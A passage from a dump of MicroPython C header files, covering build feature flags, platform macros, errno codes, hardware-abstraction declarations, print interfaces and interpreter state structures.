#endif // Whether to provide "collections" module #ifndef MICROPY_PY_COLLECTIONS #define MICROPY_PY_COLLECTIONS (1) #endif // Whether to provide "collections.OrderedDict" type #ifndef MICROPY_PY_COLLECTIONS_ORDEREDDICT #define MICROPY_PY_COLLECTIONS_ORDEREDDICT (0) #endif // Whether to provide "math" module #ifndef MICROPY_PY_MATH #define MICROPY_PY_MATH (1) #endif // Whether to provide special math functions: math.{erf,erfc,gamma,lgamma} #ifndef MICROPY_PY_MATH_SPECIAL_FUNCTIONS #define MICROPY_PY_MATH_SPECIAL_FUNCTIONS (0) #endif // Whether to provide "cmath" module #ifndef MICROPY_PY_CMATH #define MICROPY_PY_CMATH (0) #endif // Whether to provide "gc" module #ifndef MICROPY_PY_GC #define MICROPY_PY_GC (1) #endif // Whether to return number of collected objects from gc.collect() #ifndef MICROPY_PY_GC_COLLECT_RETVAL #define MICROPY_PY_GC_COLLECT_RETVAL (0) #endif // Whether to provide "io" module #ifndef MICROPY_PY_IO #define MICROPY_PY_IO (1) #endif // Whether to provide "uio.resource_stream()" function with // the semantics of CPython's pkg_resources.resource_stream() // (allows to access resources in frozen packages). #ifndef MICROPY_PY_IO_RESOURCE_STREAM #define MICROPY_PY_IO_RESOURCE_STREAM (0) #endif // Whether to provide "io.FileIO" class #ifndef MICROPY_PY_IO_FILEIO #define MICROPY_PY_IO_FILEIO (0) #endif // Whether to provide "io.BytesIO" class #ifndef MICROPY_PY_IO_BYTESIO #define MICROPY_PY_IO_BYTESIO (1) #endif // Whether to provide "io.BufferedWriter" class #ifndef MICROPY_PY_IO_BUFFEREDWRITER #define MICROPY_PY_IO_BUFFEREDWRITER (0) #endif // Whether to provide "struct" module #ifndef MICROPY_PY_STRUCT #define MICROPY_PY_STRUCT (1) #endif // Whether to provide "sys" module #ifndef MICROPY_PY_SYS #define MICROPY_PY_SYS (1) #endif // Whether to provide "sys.maxsize" constant #ifndef MICROPY_PY_SYS_MAXSIZE #define MICROPY_PY_SYS_MAXSIZE (0) #endif // Whether to provide "sys.modules" dictionary #ifndef MICROPY_PY_SYS_MODULES #define MICROPY_PY_SYS_MODULES (1) #endif // Whether to provide "sys.exc_info" function // Avoid enabling this, this function is Python2 heritage #ifndef MICROPY_PY_SYS_EXC_INFO #define MICROPY_PY_SYS_EXC_INFO (0) #endif // Whether to provide "sys.exit" function #ifndef MICROPY_PY_SYS_EXIT #define MICROPY_PY_SYS_EXIT (1) #endif // Whether to provide "sys.getsizeof" function #ifndef MICROPY_PY_SYS_GETSIZEOF #define MICROPY_PY_SYS_GETSIZEOF (0) #endif // Whether to provide sys.{stdin,stdout,stderr} objects #ifndef MICROPY_PY_SYS_STDFILES #define MICROPY_PY_SYS_STDFILES (0) #endif // Whether to provide sys.{stdin,stdout,stderr}.buffer object // This is implemented per-port #ifndef MICROPY_PY_SYS_STDIO_BUFFER #define MICROPY_PY_SYS_STDIO_BUFFER (0) #endif // Whether to provide "uerrno" module #ifndef MICROPY_PY_UERRNO #define MICROPY_PY_UERRNO (0) #endif // Whether to provide the uerrno.errorcode dict #ifndef MICROPY_PY_UERRNO_ERRORCODE #define MICROPY_PY_UERRNO_ERRORCODE (1) #endif // Whether to provide "uselect" module (baremetal implementation) #ifndef MICROPY_PY_USELECT #define MICROPY_PY_USELECT (0) #endif // Whether to provide "utime" module functions implementation // in terms of mp_hal_* functions. #ifndef MICROPY_PY_UTIME_MP_HAL #define MICROPY_PY_UTIME_MP_HAL (0) #endif // Period of values returned by utime.ticks_ms(), ticks_us(), ticks_cpu() // functions. Should be power of two. All functions above use the same // period, so if underlying hardware/API has different periods, the // minimum of them should be used. The value below is the maximum value // this parameter can take (corresponding to 30 bit tick values on 32-bit // system). #ifndef MICROPY_PY_UTIME_TICKS_PERIOD #define MICROPY_PY_UTIME_TICKS_PERIOD (MP_SMALL_INT_POSITIVE_MASK + 1) #endif // Whether to provide "_thread" module #ifndef MICROPY_PY_THREAD #define MICROPY_PY_THREAD (0) #endif // Whether to make the VM/runtime thread-safe using a global lock // If not enabled then thread safety must be provided at the Python level #ifndef MICROPY_PY_THREAD_GIL #define MICROPY_PY_THREAD_GIL (MICROPY_PY_THREAD) #endif // Number of VM jump-loops to do before releasing the GIL. // Set this to 0 to disable the divisor. #ifndef MICROPY_PY_THREAD_GIL_VM_DIVISOR #define MICROPY_PY_THREAD_GIL_VM_DIVISOR (32) #endif // Extended modules #ifndef MICROPY_PY_UCTYPES #define MICROPY_PY_UCTYPES (0) #endif #ifndef MICROPY_PY_UZLIB #define MICROPY_PY_UZLIB (0) #endif #ifndef MICROPY_PY_UJSON #define MICROPY_PY_UJSON (0) #endif #ifndef MICROPY_PY_URE #define MICROPY_PY_URE (0) #endif #ifndef MICROPY_PY_UHEAPQ #define MICROPY_PY_UHEAPQ (0) #endif // Optimized heap queue for relative timestamps #ifndef MICROPY_PY_UTIMEQ #define MICROPY_PY_UTIMEQ (0) #endif #ifndef MICROPY_PY_UHASHLIB #define MICROPY_PY_UHASHLIB (0) #endif #ifndef MICROPY_PY_UBINASCII #define MICROPY_PY_UBINASCII (0) #endif // Depends on MICROPY_PY_UZLIB #ifndef MICROPY_PY_UBINASCII_CRC32 #define MICROPY_PY_UBINASCII_CRC32 (0) #endif #ifndef MICROPY_PY_URANDOM #define MICROPY_PY_URANDOM (0) #endif // Whether to include: randrange, randint, choice, random, uniform #ifndef MICROPY_PY_URANDOM_EXTRA_FUNCS #define MICROPY_PY_URANDOM_EXTRA_FUNCS (0) #endif #ifndef MICROPY_PY_MACHINE #define MICROPY_PY_MACHINE (0) #endif // Whether to include: time_pulse_us #ifndef MICROPY_PY_MACHINE_PULSE #define MICROPY_PY_MACHINE_PULSE (0) #endif #ifndef MICROPY_PY_MACHINE_I2C #define MICROPY_PY_MACHINE_I2C (0) #endif #ifndef MICROPY_PY_MACHINE_SPI #define MICROPY_PY_MACHINE_SPI (0) #endif #ifndef MICROPY_PY_USSL #define MICROPY_PY_USSL (0) #endif #ifndef MICROPY_PY_WEBSOCKET #define MICROPY_PY_WEBSOCKET (0) #endif #ifndef MICROPY_PY_FRAMEBUF #define MICROPY_PY_FRAMEBUF (0) #endif #ifndef MICROPY_PY_BTREE #define MICROPY_PY_BTREE (0) #endif /*****************************************************************************/ /* Hooks for a port to add builtins */ // Additional builtin function definitions - see builtintables.c:builtin_object_table for format. #ifndef MICROPY_PORT_BUILTINS #define MICROPY_PORT_BUILTINS #endif // Additional builtin module definitions - see builtintables.c:builtin_module_table for format. #ifndef MICROPY_PORT_BUILTIN_MODULES #define MICROPY_PORT_BUILTIN_MODULES #endif // Any module weak links - see builtintables.c:mp_builtin_module_weak_links_table. #ifndef MICROPY_PORT_BUILTIN_MODULE_WEAK_LINKS #define MICROPY_PORT_BUILTIN_MODULE_WEAK_LINKS #endif // Additional constant definitions for the compiler - see compile.c:mp_constants_table. #ifndef MICROPY_PORT_CONSTANTS #define MICROPY_PORT_CONSTANTS #endif // Any root pointers for GC scanning - see mpstate.c #ifndef MICROPY_PORT_ROOT_POINTERS #define MICROPY_PORT_ROOT_POINTERS #endif /*****************************************************************************/ /* Miscellaneous settings */ // All uPy objects in ROM must be aligned on at least a 4 byte boundary // so that the small-int/qstr/pointer distinction can be made. For machines // that don't do this (eg 16-bit CPU), define the following macro to something // like __attribute__((aligned(4))). #ifndef MICROPY_OBJ_BASE_ALIGNMENT #define MICROPY_OBJ_BASE_ALIGNMENT #endif // On embedded platforms, these will typically enable/disable irqs. #ifndef MICROPY_BEGIN_ATOMIC_SECTION #define MICROPY_BEGIN_ATOMIC_SECTION() (0) #endif #ifndef MICROPY_END_ATOMIC_SECTION #define MICROPY_END_ATOMIC_SECTION(state) (void)(state) #endif // Allow to override static modifier for global objects, e.g. to use with // object code analysis tools which don't support static symbols. #ifndef STATIC #define STATIC static #endif // Number of bytes in a word #ifndef BYTES_PER_WORD #define BYTES_PER_WORD (sizeof(mp_uint_t)) #endif #define BITS_PER_BYTE (8) #define BITS_PER_WORD (BITS_PER_BYTE * BYTES_PER_WORD) // mp_int_t value with most significant bit set #define WORD_MSBIT_HIGH (((mp_uint_t)1) << (BYTES_PER_WORD * 8 - 1)) // Make sure both MP_ENDIANNESS_LITTLE and MP_ENDIANNESS_BIG are // defined and that they are the opposite of each other. #if defined(MP_ENDIANNESS_LITTLE) #define MP_ENDIANNESS_BIG (!MP_ENDIANNESS_LITTLE) #elif defined(MP_ENDIANNESS_BIG) #define MP_ENDIANNESS_LITTLE (!MP_ENDIANNESS_BIG) #else // Endiannes not defined by port so try to autodetect it. #if defined(__BYTE_ORDER__) #if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ #define MP_ENDIANNESS_LITTLE (1) #else #define MP_ENDIANNESS_LITTLE (0) #endif #elif defined(__LITTLE_ENDIAN__) || defined(__LITTLE_ENDIAN) || defined (_LITTLE_ENDIAN) #define MP_ENDIANNESS_LITTLE (1) #elif defined(__BIG_ENDIAN__) || defined(__BIG_ENDIAN) || defined (_BIG_ENDIAN) #define MP_ENDIANNESS_LITTLE (0) #else #include #if defined(__BYTE_ORDER) #if __BYTE_ORDER == __LITTLE_ENDIAN #define MP_ENDIANNESS_LITTLE (1) #else #define MP_ENDIANNESS_LITTLE (0) #endif #else #error endianness not defined and cannot detect it #endif #endif #define MP_ENDIANNESS_BIG (!MP_ENDIANNESS_LITTLE) #endif // Make a pointer to RAM callable (eg set lower bit for Thumb code) // (This scheme won't work if we want to mix Thumb and normal ARM code.) #ifndef MICROPY_MAKE_POINTER_CALLABLE #define MICROPY_MAKE_POINTER_CALLABLE(p) (p) #endif // If these MP_PLAT_*_EXEC macros are overridden then the memory allocated by them // must be somehow reachable for marking by the GC, since the native code // generators store pointers to GC managed memory in the code. #ifndef MP_PLAT_ALLOC_EXEC #define MP_PLAT_ALLOC_EXEC(min_size, ptr, size) do { *ptr = m_new(byte, min_size); *size = min_size; } while (0) #endif #ifndef MP_PLAT_FREE_EXEC #define MP_PLAT_FREE_EXEC(ptr, size) m_del(byte, ptr, size) #endif // This macro is used to do all output (except when MICROPY_PY_IO is defined) #ifndef MP_PLAT_PRINT_STRN #define MP_PLAT_PRINT_STRN(str, len) mp_hal_stdout_tx_strn_cooked(str, len) #endif #ifndef MP_SSIZE_MAX #define MP_SSIZE_MAX SSIZE_MAX #endif // printf format spec to use for mp_int_t and friends #ifndef INT_FMT #if defined(__LP64__) // Archs where mp_int_t == long, long != int #define UINT_FMT "%lu" #define INT_FMT "%ld" #elif defined(_WIN64) #define UINT_FMT "%llu" #define INT_FMT "%lld" #else // Archs where mp_int_t == int #define UINT_FMT "%u" #define INT_FMT "%d" #endif #endif //INT_FMT // Modifier for function which doesn't return #ifndef NORETURN #define NORETURN __attribute__((noreturn)) #endif // Modifier for weak functions #ifndef MP_WEAK #define MP_WEAK __attribute__((weak)) #endif // Modifier for functions which should be never inlined #ifndef MP_NOINLINE #define MP_NOINLINE __attribute__((noinline)) #endif // Modifier for functions which should be always inlined #ifndef MP_ALWAYSINLINE #define MP_ALWAYSINLINE __attribute__((always_inline)) #endif // Condition is likely to be true, to help branch prediction #ifndef MP_LIKELY #define MP_LIKELY(x) __builtin_expect((x), 1) #endif // Condition is likely to be false, to help branch prediction #ifndef MP_UNLIKELY #define MP_UNLIKELY(x) __builtin_expect((x), 0) #endif #endif // MICROPY_INCLUDED_PY_MPCONFIG_H ================================================ FILE: micropython/inc/py/mperrno.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_MPERRNO_H #define MICROPY_INCLUDED_PY_MPERRNO_H #include "py/mpconfig.h" #if MICROPY_USE_INTERNAL_ERRNO // MP_Exxx errno's are defined directly as numeric values // (Linux constants are used as a reference) #define MP_EPERM (1) // Operation not permitted #define MP_ENOENT (2) // No such file or directory #define MP_ESRCH (3) // No such process #define MP_EINTR (4) // Interrupted system call #define MP_EIO (5) // I/O error #define MP_ENXIO (6) // No such device or address #define MP_E2BIG (7) // Argument list too long #define MP_ENOEXEC (8) // Exec format error #define MP_EBADF (9) // Bad file number #define MP_ECHILD (10) // No child processes #define MP_EAGAIN (11) // Try again #define MP_ENOMEM (12) // Out of memory #define MP_EACCES (13) // Permission denied #define MP_EFAULT (14) // Bad address #define MP_ENOTBLK (15) // Block device required #define MP_EBUSY (16) // Device or resource busy #define MP_EEXIST (17) // File exists #define MP_EXDEV (18) // Cross-device link #define MP_ENODEV (19) // No such device #define MP_ENOTDIR (20) // Not a directory #define MP_EISDIR (21) // Is a directory #define MP_EINVAL (22) // Invalid argument #define MP_ENFILE (23) // File table overflow #define MP_EMFILE (24) // Too many open files #define MP_ENOTTY (25) // Not a typewriter #define MP_ETXTBSY (26) // Text file busy #define MP_EFBIG (27) // File too large #define MP_ENOSPC (28) // No space left on device #define MP_ESPIPE (29) // Illegal seek #define MP_EROFS (30) // Read-only file system #define MP_EMLINK (31) // Too many links #define MP_EPIPE (32) // Broken pipe #define MP_EDOM (33) // Math argument out of domain of func #define MP_ERANGE (34) // Math result not representable #define MP_EWOULDBLOCK MP_EAGAIN // Operation would block #define MP_EOPNOTSUPP (95) // Operation not supported on transport endpoint #define MP_EAFNOSUPPORT (97) // Address family not supported by protocol #define MP_EADDRINUSE (98) // Address already in use #define MP_ECONNABORTED (103) // Software caused connection abort #define MP_ECONNRESET (104) // Connection reset by peer #define MP_ENOBUFS (105) // No buffer space available #define MP_EISCONN (106) // Transport endpoint is already connected #define MP_ENOTCONN (107) // Transport endpoint is not connected #define MP_ETIMEDOUT (110) // Connection timed out #define MP_ECONNREFUSED (111) // Connection refused #define MP_EHOSTUNREACH (113) // No route to host #define MP_EALREADY (114) // Operation already in progress #define MP_EINPROGRESS (115) // Operation now in progress #else // MP_Exxx errno's are defined in terms of system supplied ones #include #define MP_EPERM EPERM #define MP_ENOENT ENOENT #define MP_ESRCH ESRCH #define MP_EINTR EINTR #define MP_EIO EIO #define MP_ENXIO ENXIO #define MP_E2BIG E2BIG #define MP_ENOEXEC ENOEXEC #define MP_EBADF EBADF #define MP_ECHILD ECHILD #define MP_EAGAIN EAGAIN #define MP_ENOMEM ENOMEM #define MP_EACCES EACCES #define MP_EFAULT EFAULT #define MP_ENOTBLK ENOTBLK #define MP_EBUSY EBUSY #define MP_EEXIST EEXIST #define MP_EXDEV EXDEV #define MP_ENODEV ENODEV #define MP_ENOTDIR ENOTDIR #define MP_EISDIR EISDIR #define MP_EINVAL EINVAL #define MP_ENFILE ENFILE #define MP_EMFILE EMFILE #define MP_ENOTTY ENOTTY #define MP_ETXTBSY ETXTBSY #define MP_EFBIG EFBIG #define MP_ENOSPC ENOSPC #define MP_ESPIPE ESPIPE #define MP_EROFS EROFS #define MP_EMLINK EMLINK #define MP_EPIPE EPIPE #define MP_EDOM EDOM #define MP_ERANGE ERANGE #define MP_EWOULDBLOCK EAGAIN #define MP_EOPNOTSUPP EOPNOTSUPP #define MP_EAFNOSUPPORT EAFNOSUPPORT #define MP_EADDRINUSE EADDRINUSE #define MP_ECONNABORTED ECONNABORTED #define MP_ECONNRESET ECONNRESET #define MP_ENOBUFS ENOBUFS #define MP_EISCONN EISCONN #define MP_ENOTCONN ENOTCONN #define MP_ETIMEDOUT ETIMEDOUT #define MP_ECONNREFUSED ECONNREFUSED #define MP_EHOSTUNREACH EHOSTUNREACH #define MP_EALREADY EALREADY #define MP_EINPROGRESS EINPROGRESS #endif #if MICROPY_PY_UERRNO #include "py/obj.h" qstr mp_errno_to_str(mp_obj_t errno_val); #endif #endif // MICROPY_INCLUDED_PY_MPERRNO_H ================================================ FILE: micropython/inc/py/mphal.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_MPHAL_H #define MICROPY_INCLUDED_PY_MPHAL_H #include "py/mpconfig.h" #ifdef MICROPY_MPHALPORT_H #include MICROPY_MPHALPORT_H #else #include #endif #ifndef mp_hal_stdin_rx_chr int mp_hal_stdin_rx_chr(void); #endif #ifndef mp_hal_stdout_tx_str void mp_hal_stdout_tx_str(const char *str); #endif #ifndef mp_hal_stdout_tx_strn void mp_hal_stdout_tx_strn(const char *str, size_t len); #endif #ifndef mp_hal_stdout_tx_strn_cooked void mp_hal_stdout_tx_strn_cooked(const char *str, size_t len); #endif #ifndef mp_hal_delay_ms void mp_hal_delay_ms(mp_uint_t ms); #endif #ifndef mp_hal_delay_us void mp_hal_delay_us(mp_uint_t us); #endif #ifndef mp_hal_ticks_ms mp_uint_t mp_hal_ticks_ms(void); #endif #ifndef mp_hal_ticks_us mp_uint_t mp_hal_ticks_us(void); #endif #ifndef mp_hal_ticks_cpu mp_uint_t mp_hal_ticks_cpu(void); #endif // If port HAL didn't define its own pin API, use generic // "virtual pin" API from the core. #ifndef mp_hal_pin_obj_t #define mp_hal_pin_obj_t mp_obj_t #define mp_hal_get_pin_obj(pin) (pin) #define mp_hal_pin_read(pin) mp_virtual_pin_read(pin) #define mp_hal_pin_write(pin, v) mp_virtual_pin_write(pin, v) #include "extmod/virtpin.h" #endif #endif // MICROPY_INCLUDED_PY_MPHAL_H ================================================ FILE: micropython/inc/py/mpprint.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_MPPRINT_H #define MICROPY_INCLUDED_PY_MPPRINT_H #include "py/mpconfig.h" #define PF_FLAG_LEFT_ADJUST (0x001) #define PF_FLAG_SHOW_SIGN (0x002) #define PF_FLAG_SPACE_SIGN (0x004) #define PF_FLAG_NO_TRAILZ (0x008) #define PF_FLAG_SHOW_PREFIX (0x010) #define PF_FLAG_SHOW_COMMA (0x020) #define PF_FLAG_PAD_AFTER_SIGN (0x040) #define PF_FLAG_CENTER_ADJUST (0x080) #define PF_FLAG_ADD_PERCENT (0x100) #define PF_FLAG_SHOW_OCTAL_LETTER (0x200) #if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES # define MP_PYTHON_PRINTER &mp_sys_stdout_print #else # define MP_PYTHON_PRINTER &mp_plat_print #endif typedef void (*mp_print_strn_t)(void *data, const char *str, size_t len); typedef struct _mp_print_t { void *data; mp_print_strn_t print_strn; } mp_print_t; // All (non-debug) prints go through one of the two interfaces below. // 1) Wrapper for platform print function, which wraps MP_PLAT_PRINT_STRN. extern const mp_print_t mp_plat_print; #if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES // 2) Wrapper for printing to sys.stdout. extern const mp_print_t mp_sys_stdout_print; #endif int mp_print_str(const mp_print_t *print, const char *str); int mp_print_strn(const mp_print_t *print, const char *str, size_t len, int flags, char fill, int width); #if MICROPY_PY_BUILTINS_FLOAT int mp_print_float(const mp_print_t *print, mp_float_t f, char fmt, int flags, char fill, int width, int prec); #endif int mp_printf(const mp_print_t *print, const char *fmt, ...); #ifdef va_start int mp_vprintf(const mp_print_t *print, const char *fmt, va_list args); #endif #endif // MICROPY_INCLUDED_PY_MPPRINT_H ================================================ FILE: micropython/inc/py/mpstate.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_MPSTATE_H #define MICROPY_INCLUDED_PY_MPSTATE_H #include #include "py/mpconfig.h" #include "py/mpthread.h" #include "py/misc.h" #include "py/nlr.h" #include "py/obj.h" #include "py/objlist.h" #include "py/objexcept.h" // This file contains structures defining the state of the MicroPython // memory system, runtime and virtual machine. The state is a global // variable, but in the future it is hoped that the state can become local. // This structure contains dynamic configuration for the compiler. #if MICROPY_DYNAMIC_COMPILER typedef struct mp_dynamic_compiler_t { uint8_t small_int_bits; // must be <= host small_int_bits bool opt_cache_map_lookup_in_bytecode; bool py_builtins_str_unicode; } mp_dynamic_compiler_t; extern mp_dynamic_compiler_t mp_dynamic_compiler; #endif // These are the values for sched_state #define MP_SCHED_IDLE (1) #define MP_SCHED_LOCKED (-1) #define MP_SCHED_PENDING (0) // 0 so it's a quick check in the VM typedef struct _mp_sched_item_t { mp_obj_t func; mp_obj_t arg; } mp_sched_item_t; // This structure hold information about the memory allocation system. typedef struct _mp_state_mem_t { #if MICROPY_MEM_STATS size_t total_bytes_allocated; size_t current_bytes_allocated; size_t peak_bytes_allocated; #endif byte *gc_alloc_table_start; size_t gc_alloc_table_byte_len; #if MICROPY_ENABLE_FINALISER byte *gc_finaliser_table_start; #endif byte *gc_pool_start; byte *gc_pool_end; int gc_stack_overflow; size_t gc_stack[MICROPY_ALLOC_GC_STACK_SIZE]; size_t *gc_sp; uint16_t gc_lock_depth; // This variable controls auto garbage collection. If set to 0 then the // GC won't automatically run when gc_alloc can't find enough blocks. But // you can still allocate/free memory and also explicitly call gc_collect. uint16_t gc_auto_collect_enabled; #if MICROPY_GC_ALLOC_THRESHOLD size_t gc_alloc_amount; size_t gc_alloc_threshold; #endif size_t gc_last_free_atb_index; #if MICROPY_PY_GC_COLLECT_RETVAL size_t gc_collected; #endif #if MICROPY_PY_THREAD // This is a global mutex used to make the GC thread-safe. mp_thread_mutex_t gc_mutex; #endif } mp_state_mem_t; // This structure hold runtime and VM information. It includes a section // which contains root pointers that must be scanned by the GC. typedef struct _mp_state_vm_t { //////////////////////////////////////////////////////////// // START ROOT POINTER SECTION // everything that needs GC scanning must go here // this must start at the start of this structure // qstr_pool_t *last_pool; // non-heap memory for creating an exception if we can't allocate RAM mp_obj_exception_t mp_emergency_exception_obj; // memory for exception arguments if we can't allocate RAM #if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF #if MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE > 0 // statically allocated buf (needs to be aligned to mp_obj_t) mp_obj_t mp_emergency_exception_buf[MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE / sizeof(mp_obj_t)]; #else // dynamically allocated buf byte *mp_emergency_exception_buf; #endif #endif #if MICROPY_KBD_EXCEPTION // exception object of type KeyboardInterrupt mp_obj_exception_t mp_kbd_exception; #endif // dictionary with loaded modules (may be exposed as sys.modules) mp_obj_dict_t mp_loaded_modules_dict; // pending exception object (MP_OBJ_NULL if not pending) volatile mp_obj_t mp_pending_exception; #if MICROPY_ENABLE_SCHEDULER volatile int16_t sched_state; uint16_t sched_sp; mp_sched_item_t sched_stack[MICROPY_SCHEDULER_DEPTH]; #endif // current exception being handled, for sys.exc_info() #if MICROPY_PY_SYS_EXC_INFO mp_obj_base_t *cur_exception; #endif // dictionary for the __main__ module mp_obj_dict_t dict_main; // dictionary for overridden builtins #if MICROPY_CAN_OVERRIDE_BUILTINS mp_obj_dict_t *mp_module_builtins_override_dict; #endif // include any root pointers defined by a port MICROPY_PORT_ROOT_POINTERS // root pointers for extmod #if MICROPY_PY_OS_DUPTERM mp_obj_t term_obj; mp_obj_t dupterm_arr_obj; #endif #if MICROPY_PY_LWIP_SLIP mp_obj_t lwip_slip_stream; #endif #if MICROPY_VFS struct _mp_vfs_mount_t *vfs_cur; struct _mp_vfs_mount_t *vfs_mount_table; #endif // // END ROOT POINTER SECTION //////////////////////////////////////////////////////////// // pointer and sizes to store interned string data // (qstr_last_chunk can be root pointer but is also stored in qstr pool) byte *qstr_last_chunk; size_t qstr_last_alloc; size_t qstr_last_used; #if MICROPY_PY_THREAD // This is a global mutex used to make qstr interning thread-safe. mp_thread_mutex_t qstr_mutex; #endif mp_uint_t mp_optimise_value; // size of the emergency exception buf, if it's dynamically allocated #if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF && MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE == 0 mp_int_t mp_emergency_exception_buf_size; #endif #if MICROPY_PY_THREAD_GIL // This is a global mutex used to make the VM/runtime thread-safe. mp_thread_mutex_t gil_mutex; #endif } mp_state_vm_t; // This structure holds state that is specific to a given thread. // Everything in this structure is scanned for root pointers. typedef struct _mp_state_thread_t { mp_obj_dict_t *dict_locals; mp_obj_dict_t *dict_globals; // Note: nlr asm code has the offset of this hard-coded nlr_buf_t *nlr_top; // ROOT POINTER // Stack top at the start of program char *stack_top; #if MICROPY_STACK_CHECK size_t stack_limit; #endif } mp_state_thread_t; // This structure combines the above 3 structures. // The order of the entries are important for root pointer scanning in the GC to work. // Note: if this structure changes then revisit all nlr asm code since they // have the offset of nlr_top hard-coded. typedef struct _mp_state_ctx_t { mp_state_thread_t thread; mp_state_vm_t vm; mp_state_mem_t mem; } mp_state_ctx_t; extern mp_state_ctx_t mp_state_ctx; #define MP_STATE_VM(x) (mp_state_ctx.vm.x) #define MP_STATE_MEM(x) (mp_state_ctx.mem.x) #if MICROPY_PY_THREAD extern mp_state_thread_t *mp_thread_get_state(void); #define MP_STATE_THREAD(x) (mp_thread_get_state()->x) #else #define MP_STATE_THREAD(x) (mp_state_ctx.thread.x) #endif #endif // MICROPY_INCLUDED_PY_MPSTATE_H ================================================ FILE: micropython/inc/py/mpthread.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Damien P. George on behalf of Pycom Ltd * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE 